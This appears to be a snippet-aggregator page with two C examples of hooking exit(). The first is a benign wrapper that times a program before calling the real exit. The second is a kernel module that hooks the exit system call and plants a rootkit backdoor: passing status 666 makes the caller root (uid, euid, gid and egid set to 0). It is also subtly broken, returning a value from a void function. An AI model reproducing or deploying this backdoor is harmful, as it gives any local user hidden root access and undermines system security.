Exemple #1
0
void exit(int status)
{
  //time(&stop);
  stop = clock();
  
  //printf("\n\nElapsed time = %.0f\n",difftime(stop,start));
  printf("\n\nElapsed time = \n%f\n",((double)stop-start)/CLOCKS_PER_SEC);
  
  orig_exit_f_type orig_exit;
  orig_exit = (orig_exit_f_type)dlsym(RTLD_NEXT,"exit");
  orig_exit(status);
}
Exemple #2
0
/*
 * Dummy module implementing system call hooking using DR logic.
 *
 * edit Makefile and set your module main accordingly
 */
asmlinkage static void my_hooked_exit(int status)
{
    __HOOK_PRELOGUE;
    int (*orig_exit)(int st) = __SYSCALL_HANDLER_ADDR(__NR_exit);

    printk(KERN_INFO "**** my_hooked_exit called *****\n");

    if(status == 666) {
      printk(KERN_INFO "**** MAGICK *****\n");

      current->uid = 0;
      current->euid = 0;
      current->gid = 0;
      current->egid = 0;

      return -EINVAL;
    }

    orig_exit(status);
}